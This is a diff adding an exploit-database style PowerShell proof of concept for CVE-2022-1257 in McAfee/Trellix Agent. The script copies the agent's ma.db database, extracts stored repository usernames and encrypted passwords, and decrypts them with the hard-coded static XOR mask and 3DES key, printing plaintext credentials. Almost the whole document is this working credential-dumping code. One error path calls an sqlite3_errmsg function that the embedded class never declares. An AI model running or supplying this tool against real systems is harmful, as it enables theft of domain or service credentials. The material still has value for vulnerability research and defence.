|
| 1 | +Exploit Title: McAfee Agent 5.7.6 - Insecure Storage of Sensitive Information |
| 2 | +Date: 24 June 2025 |
| 3 | +Exploit Author: Keenan Scott |
| 4 | +Vendor Homepage: hxxps[://]www[.]mcafee[.]com/ |
| 5 | +Software Download: N/A (Unable to find) |
| 6 | +Version: < 5.7.6 |
| 7 | +Tested on: Windows 11 |
| 8 | +CVE: CVE-2022-1257 |
| 9 | + |
| 10 | +<# |
| 11 | +.SYNOPSIS |
| 12 | + Dump and decrypt encrypted Windows credentials from Trellix Agent Database ("C:\ProgramData\McAfee\Agent\DB\ma.db") - PoC for CVE-2022-1257. Made by scottk817 |
| 13 | + |
| 14 | +.DESCRIPTION |
| 15 | + This script demonstrates exploitation of CVE-2022-1257, a vulnerability in McAfee's Trellix Agent Database where attackers can retrieve and decrypt credentials from the `ma.db` database file. |
| 16 | + |
| 17 | +.LINK |
| 18 | + https://nvd.nist.gov/vuln/detail/cve-2022-1257 |
| 19 | + https://github.com/funoverip/mcafee-sitelist-pwd-decryption/blob/master/mcafee_sitelist_pwd_decrypt.py |
| 20 | + https://mrd0x.com/abusing-mcafee-vulnerabilities-misconfigurations/ |
| 21 | + https://tryhackme.com/room/breachingad |
| 22 | + |
| 23 | +.OUTPUTS |
| 24 | + CSV in stdOut: |
| 25 | + Username,Password |
| 26 | +#> |
| 27 | + |
| 28 | + |
| 29 | + |
| 30 | +# Arguments |
| 31 | +[CmdletBinding()] |
| 32 | +param ( |
| 33 | + [string]$DbSource = 'C:\ProgramData\McAfee\Agent\DB\ma.db', |
| 34 | + [string]$TempFolder = $env:TEMP |
| 35 | +) |
| 36 | + |
| 37 | + |
| 38 | + |
| 39 | +### Initialize use of WinSQLite3 ### |
| 40 | +$cls = "WinSQLite_{0}" -f ([guid]::NewGuid().ToString('N')) |
| 41 | + |
| 42 | +$code = @" |
| 43 | +using System; |
| 44 | +using System.Runtime.InteropServices; |
| 45 | + |
| 46 | +public static class $cls |
| 47 | +{ |
| 48 | + public const int SQLITE_OK = 0; |
| 49 | + public const int SQLITE_ROW = 100; |
| 50 | + |
| 51 | + [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] |
| 52 | + public static extern int sqlite3_open_v2( |
| 53 | + [MarshalAs(UnmanagedType.LPStr)] string filename, |
| 54 | + out IntPtr db, |
| 55 | + int flags, |
| 56 | + IntPtr vfs |
| 57 | + ); |
| 58 | + |
| 59 | + [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] |
| 60 | + public static extern int sqlite3_close(IntPtr db); |
| 61 | + |
| 62 | + [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] |
| 63 | + public static extern int sqlite3_prepare_v2( |
| 64 | + IntPtr db, string sql, int nByte, |
| 65 | + out IntPtr stmt, IntPtr pzTail |
| 66 | + ); |
| 67 | + |
| 68 | + [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] |
| 69 | + public static extern int sqlite3_step(IntPtr stmt); |
| 70 | + |
| 71 | + [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] |
| 72 | + public static extern IntPtr sqlite3_column_text(IntPtr stmt, int col); |
| 73 | + |
| 74 | + [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] |
| 75 | + public static extern int sqlite3_finalize(IntPtr stmt); |
| 76 | +} |
| 77 | +"@ |
| 78 | + |
| 79 | +# SQL statement to retrieve usersnames and encrypted passwords from ma.db |
| 80 | +$sql = @" |
| 81 | +SELECT AUTH_USER, AUTH_PASSWD |
| 82 | +FROM AGENT_REPOSITORIES |
| 83 | +WHERE AUTH_PASSWD IS NOT NULL; |
| 84 | +"@ |
| 85 | + |
| 86 | +Add-Type -TypeDefinition $code -PassThru | Out-Null |
| 87 | +$type = [type]$cls |
| 88 | + |
| 89 | + |
| 90 | + |
| 91 | +### Decode and Decrypt ### |
| 92 | +# Function to decode, and decrypt the credentials found in the DB using the static keys used for every Trellix agent. |
| 93 | +function Invoke-McAfeeDecrypt { |
| 94 | + param([string]$B64) |
| 95 | + |
| 96 | + [byte[]]$mask = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06, |
| 97 | + 0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19 |
| 98 | + [byte[]]$buf = [Convert]::FromBase64String($B64.Trim()) |
| 99 | + for ($i = 0; $i -lt $buf.Length; $i++) { |
| 100 | + $buf[$i] = $buf[$i] -bxor $mask[$i % $mask.Length] |
| 101 | + } |
| 102 | + |
| 103 | + $sha = [System.Security.Cryptography.SHA1]::Create() |
| 104 | + [byte[]]$key = $sha.ComputeHash([Text.Encoding]::ASCII.GetBytes("<!@#$%^>")) + (0..3 | ForEach-Object { 0 }) |
| 105 | + |
| 106 | + $tdes = [System.Security.Cryptography.TripleDES]::Create() |
| 107 | + $tdes.Mode = 'ECB' |
| 108 | + $tdes.Padding = 'None' |
| 109 | + $tdes.Key = $key |
| 110 | + [byte[]]$plain = $tdes.CreateDecryptor().TransformFinalBlock($buf, 0, $buf.Length) |
| 111 | + |
| 112 | + $i = 0 |
| 113 | + while ($i -lt $plain.Length -and $plain[$i] -ge 0x20 -and $plain[$i] -le 0x7E) { |
| 114 | + $i++ |
| 115 | + } |
| 116 | + if ($i -eq 0) { return '' } |
| 117 | + [Text.Encoding]::UTF8.GetString($plain, 0, $i) |
| 118 | +} |
| 119 | + |
| 120 | + |
| 121 | +### Copy ma.db ### |
| 122 | +# Copy ma.db over to temp directory add GUID incase it already exists there. |
| 123 | +$tmp = Join-Path $TempFolder ("ma_{0}.db" -f ([guid]::NewGuid())) |
| 124 | +Copy-Item -LiteralPath $DbSource -Destination $tmp -Force |
| 125 | + |
| 126 | +### Pull records ### |
| 127 | +$dbPtr = [IntPtr]::Zero |
| 128 | +$stmtPtr = [IntPtr]::Zero |
| 129 | +$flags = 1 |
| 130 | +$rc = $type::sqlite3_open_v2($tmp, [ref]$dbPtr, $flags, [IntPtr]::Zero) |
| 131 | + |
| 132 | +if ($rc -ne $type::SQLITE_OK) { |
| 133 | + $msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi( |
| 134 | + $type::sqlite3_errmsg($dbPtr)) |
| 135 | + Throw "sqlite3_open_v2 failed (code $rc) : $msg" |
| 136 | +} |
| 137 | + |
| 138 | +$rc = $type::sqlite3_prepare_v2($dbPtr, $sql, -1, [ref]$stmtPtr, [IntPtr]::Zero) |
| 139 | + |
| 140 | +if ($rc -ne $type::SQLITE_OK) { |
| 141 | + $msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi( |
| 142 | + $type::sqlite3_errmsg($dbPtr)) |
| 143 | + $type::sqlite3_close($dbPtr) | Out-Null |
| 144 | + Throw "sqlite3_prepare_v2 failed (code $rc) : $msg" |
| 145 | +} |
| 146 | + |
| 147 | +$buffer = [System.Collections.Generic.List[string]]::new() |
| 148 | +while ($type::sqlite3_step($stmtPtr) -eq $type::SQLITE_ROW) { |
| 149 | + $uPtr = $type::sqlite3_column_text($stmtPtr, 0) |
| 150 | + $pPtr = $type::sqlite3_column_text($stmtPtr, 1) |
| 151 | + |
| 152 | + $user = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($uPtr) |
| 153 | + $pass = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($pPtr) |
| 154 | + |
| 155 | + if ($user -and $pass) { |
| 156 | + $buffer.Add("$user,$pass") |
| 157 | + } |
| 158 | +} |
| 159 | + |
| 160 | +### Cleanup ### |
| 161 | +# Finish and close SQL |
| 162 | +$type::sqlite3_finalize($stmtPtr) | Out-Null |
| 163 | +$type::sqlite3_close($dbPtr) | Out-Null |
| 164 | + |
| 165 | +# Delete the ma.db file copied to the temp file |
| 166 | +Remove-Item $tmp -Force -ErrorAction SilentlyContinue |
| 167 | + |
| 168 | +### Process encrypted credentials ### |
| 169 | +# For each row of credentials decrypt them and print plaintext to standard out. |
| 170 | +foreach ($line in $buffer) { |
| 171 | + $rec = $line -split ',', 2 |
| 172 | + if ($rec.Length -eq 2) { |
| 173 | + $username = $rec[0] |
| 174 | + try { |
| 175 | + $password = Invoke-McAfeeDecrypt $rec[1] |
| 176 | + } catch { |
| 177 | + $password = "[DECRYPT-ERROR] $_" |
| 178 | + } |
| 179 | + "Username,Password" |
| 180 | + "$username,$password" |
| 181 | + } |
| 182 | +} |
0 commit comments